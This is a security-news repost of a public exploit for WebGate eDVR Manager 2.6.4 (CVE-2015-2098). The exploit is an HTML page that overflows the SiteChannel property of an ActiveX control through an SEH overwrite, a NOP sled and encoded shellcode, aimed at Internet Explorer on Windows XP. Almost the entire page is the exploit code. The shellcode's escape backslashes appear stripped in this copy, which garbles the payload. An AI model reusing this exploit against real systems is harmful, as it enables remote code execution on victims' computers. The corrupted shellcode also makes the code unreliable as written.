HackDig : Dig high-quality web security articles for hacker

WebGate eDVR Manager 2.6.4 SiteChannel Property Stack Buffer Overflow

2015-04-03 02:35
<html>
<!--
# Exploit Title: WebGate eDVR Manager SiteChannel Property Stack Buffer Overflow
# Date: 01st April, 2015
# Exploit Author: Praveen Darshanam
# Vendor Homepage: http://www.webgateinc.com/wgi/eng/
# Software Link: http://www.webgateinc.com/wgi_htdocs/eng/dcenter/view.php?id=wgi_eng&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=531&category_group=4&category_product=74&category=174
# Version: eDVR Manager 2.6.4
# Tested on: Windows XP SP3 using IE6/7/8
# CVE : 2015-2098

targetFile = "C:WINDOWSsystem32WESPSDKWESPPlayback.dll"
prototype = "Property Let SiteChannel (
ByVal SiteSerialNumber As String ,
ByVal indx As Integer
) As Long"
progid = "WESPPLAYBACKLib.WESPPlaybackCtrl"
Tested on IE6/7/8
Author: Praveen Darshanam
http://darshanams.blogspot.com/
http://blog.disects.com/
P.S. Do not remove back slashes in shellcode and other variables
-->

<object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='target'>
</object>
<script>

var arg1 = "";
var arg2 = 1;
var arg3 = 1;
var nops = "";
var shellcode = "";
var buff2 = "";

for (i=0; i<128; i++)
{
arg1 += "B";
}
var nseh = "xebx10PD";
var seh = "xa0xf2x07x10";
for (i=0;i<80; i++)
{
nops += "x90";
}
shellcode = "x54x5dxdaxc9xd9x75xf4x59x49x49x49x49x49" +
"x43x43x43x43x43x43x51x5ax56x54x58x33x30" +
"x56x58x34x41x50x30x41x33x48x48x30x41x30" +
"x30x41x42x41x41x42x54x41x41x51x32x41x42" +
"x32x42x42x30x42x42x58x50x38x41x43x4ax4a" +
"x49x4bx4cx5ax48x4bx32x45x50x55x50x43x30" +
"x53x50x4bx39x4dx35x30x31x4fx30x52x44x4c" +
"x4bx56x30x46x50x4cx4bx31x42x34x4cx4cx4b" +
"x31x42x44x54x4cx4bx32x52x47x58x54x4fx38" +
"x37x50x4ax37x56x46x51x4bx4fx4ex4cx57x4c" +
"x35x31x33x4cx33x32x46x4cx37x50x49x51x48" +
"x4fx34x4dx45x51x4fx37x4dx32x4ax52x36x32" +
"x46x37x4cx4bx36x32x32x30x4cx4bx30x4ax37" +
"x4cx4cx4bx30x4cx32x31x54x38x5ax43x51x58" +
"x33x31x4ex31x30x51x4cx4bx36x39x47x50x53" +
"x31x48x53x4cx4bx30x49x35x48x5ax43x36x5a" +
"x57x39x4cx4bx46x54x4cx4bx33x31x49x46x56" +
"x51x4bx4fx4ex4cx49x51x38x4fx54x4dx35x51" +
"x58x47x37x48x4dx30x34x35x4ax56x43x33x43" +
"x4dx5ax58x37x4bx43x4dx46x44x43x45x4dx34" +
"x56x38x4cx4bx56x38x31x34x43x31x4ex33x42" +
"x46x4cx4bx44x4cx30x4bx4cx4bx36x38x45x4c" +
"x45x51x4ex33x4cx4bx54x44x4cx4bx33x31x48" +
"x50x4cx49x57x34x36x44x51x34x51x4bx51x4b" +
"x33x51x30x59x50x5ax36x31x4bx4fx4bx50x31" +
"x4fx51x4fx51x4ax4cx4bx42x32x5ax4bx4cx4d" +
"x31x4dx53x5ax35x51x4cx4dx4cx45x58x32x43" +
"x30x53x30x55x50x56x30x42x48x50x31x4cx4b" +
"x42x4fx4dx57x4bx4fx59x45x4fx4bx5ax50x48" +
"x35x4fx52x30x56x53x58x4ex46x5ax35x4fx4d" +
"x4dx4dx4bx4fx38x55x47x4cx53x36x33x4cx45" +
"x5ax4bx30x4bx4bx4bx50x43x45x43x35x4fx4b" +
"x47x37x32x33x53x42x42x4fx42x4ax55x50x46" +
"x33x4bx4fx49x45x43x53x53x51x52x4cx52x43" +
"x36x4ex55x35x44x38x33x55x33x30x41x41";
for (i=0;i<(5000 - (arg1.length + nseh.length + seh.length + nops.length + shellcode.length)); i++)
{
buff2 += "A";
}

fbuff = arg1 + nseh + seh + nops + shellcode + buff2;
target.SiteChannel(fbuff ,arg2 ) = arg3;

</script>
</html>




Source: 60663/stiolpxe/moc.bd-tiolpxe.www

Read:1430 | Comments:0 | Tags:remote

“WebGate eDVR Manager 2.6.4 SiteChannel Property Stack Buffer Overflow”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools

Tag Cloud